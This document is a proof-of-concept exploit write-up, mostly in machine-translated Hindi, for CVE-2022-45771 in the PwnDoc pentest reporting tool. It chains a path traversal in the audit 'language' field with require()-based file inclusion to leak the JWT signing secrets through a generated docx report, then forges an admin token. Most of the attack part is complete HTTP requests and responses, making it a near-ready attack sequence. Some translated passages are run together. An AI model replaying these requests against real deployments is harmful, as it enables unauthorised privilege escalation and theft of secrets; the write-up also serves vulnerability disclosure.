yuriisanin/cve-2022-45771[PoC] PwnDoC में LFI के माध्यम से विशेषाधिकार वृद्धि और कोड निष्पादन
The PwnDoc is vulnerable to both path traversal and local file inclusion (LFI), which allows unprivileged users to disclose JWT secrets and achive code execution.
Requirements:
user rolefinding.vulnType or finding.category tag
भेद्यता श्रृंखला में निम्नलिखित भाग शामिल हैं:
AuditSchema.language प्रॉपर्टी की मॉडल और एंडपॉइंट दोनों स्तरों पर अनुपस्थित वैलिडेशन। (देखें /backend/src/models/audit.js, line: 71, /backend/src/routes/audit.js, line: 57)AuditSchema.language पैरामीटर के साथ require फ़ंक्शन का उपयोग। (देखें /backend/src/translate/index.js, line: 10, /backend/src/lib/report-generator.js, lines: 24-25, 477, 487)auth.js फ़ाइल में मॉड्यूल एक्सपोर्ट के माध्यम से jwtSecret और jwtRefreshSecret पैरामीटर एक्सपोज़ होना। (देखें /backend/src/lib/auth.js, lines: 17-21)js फ़ाइलें अपलोड करने की अनुमति देती है (template:create अनुमति आवश्यक है)।language के रूप में ../lib/auth.js के साथ एक ऑडिट बनाएं; बाद में require फ़ंक्शन का उपयोग करके फ़ाइल लोड और निष्पादित की जाएगी, और परिणामस्वरूप jwtSecret और jwtRefreshSecret दोनों एक्सपोर्ट हो जाएंगे।Request:
POST /api/audits HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 73
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token=JWT%20{token}
{"name":"privesc-poc","language":"../lib/auth.js","auditType":"tested"}
Response:
HTTP/1.1 201 Created
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:34:32 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 598
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition
{"status":"success","datas":{"message":"Audit created successfully","audit":{"collaborators":[],"reviewers":[],"state":"EDIT","approvals":[],"_id":"637a49086f5a2e0012dd58c5","name":"privsec-poc","language":"../lib/auth.js","auditType":"tested","creator":"637a2065ab932e0012015580","sections":[],"customFields":[],"sortFindings":[{"category":"jjj","sortValue":"cvssScore","sortOrder":"desc","sortAuto":true},{"category":"dd","sortValue":"cvssScore","sortOrder":"desc","sortAuto":true}],"scope":[],"findings":[],"createdAt":"2022-11-20T15:34:32.246Z","updatedAt":"2022-11-20T15:34:32.246Z","__v":0}}}
finding.vulnType - {vulnType} या finding.category - {category} टैग होना चाहिए। टेम्प्लेटिंग दस्तावेज़ देखें।Request:
PUT /api/audits/637a49086f5a2e0012dd58c5/general HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 207
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token=JWT%20{token}
{"collaborators":[],"reviewers":[],"_id":"637a49086f5a2e0012dd58c5","name":"privesc-poc","language":"../lib/auth.js","auditType":"tested","customFields":[],"template":"6377d57e5cccb10012049dbb","scope":[]}
Response:
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:34:43 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 65
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition
{"status":"success","datas":"Audit General updated successfully"}
category या vulnType प्रॉपर्टी में jwtSecret होना चाहिए।**Request:
POST /api/audits/637a49086f5a2e0012dd58c5/findings HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 368
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Referer: https://127.0.0.1:8443/audits/637a2106ab932e0012015583/findings/add
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token=JWT%20{token}
{"title":"dsdsd","vulnType":"prod","description":"{description}","observation":"{observation}","references":[],"cvssv3":"CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:L","category":null,"customFields":[], "category":"jwtSecret", "vulnType":"jwtRefreshSecret"}
Response:
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:34:54 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 65
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition
{"status":"success","datas":"Audit Finding created successfully"}
docx दस्तावेज़ से jwtSecret का मान प्राप्त करें।Request:
GET /api/audits/637a49086f5a2e0012dd58c5/generate HTTP/1.1
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Language: en-GB,en;q=0.9
Referer: https://127.0.0.1:8443/audits/637a2106ab932e0012015583/findings/add
Connection: keep-alive
Cookie: token=JWT%20{token}
Response:
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:37:34 GMT
Content-Type: application/octet-stream
Content-Length: 98134
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition
Content-Disposition: attachment; filename="rce-poc.docx"
{doc-content}
role फ़ील्ड को admin में बदलें और प्राप्त jwtSecret का उपयोग करके उस पर हस्ताक्षर करें।